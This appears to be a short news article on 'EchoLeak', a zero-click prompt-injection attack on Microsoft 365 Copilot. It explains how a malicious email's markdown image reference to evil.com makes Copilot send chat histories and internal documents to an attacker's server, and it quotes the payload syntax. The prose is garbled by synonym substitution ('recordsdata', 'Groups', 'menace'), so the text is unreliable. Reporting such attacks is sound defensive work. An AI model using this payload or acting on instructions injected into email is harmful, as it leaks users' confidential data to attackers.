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First-ever zero-click assault targets Microsoft 365 Copilot



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“That is sheer weaponization of AI’s core power, contextual understanding, towards itself,” mentioned Abhishek Anant Garg, an analyst at QKS Group. “Enterprise safety struggles as a result of it’s constructed for malicious code, not language that appears innocent however acts like a weapon.”

This sort of vulnerability represents a big menace, warned Nader Henein, VP Analyst at Gartner. “Given the complexity of AI assistants and RAG-based companies, it’s undoubtedly not the final we’ll see.”

EchoLeak’s exploit mechanism

EchoLeak exploits Copilot’s capability to deal with each trusted inner information (like emails, Groups chats, and OneDrive recordsdata) and untrusted exterior inputs, corresponding to inbound emails. The assault begins with a malicious e mail containing particular markdown syntax, “like ![Image alt text][ref] [ref]: https://www.evil.com?param=.” When Copilot mechanically scans the e-mail within the background to organize for consumer queries, it triggers a browser request that sends delicate information, corresponding to chat histories, consumer particulars, or inner paperwork, to an attacker’s server.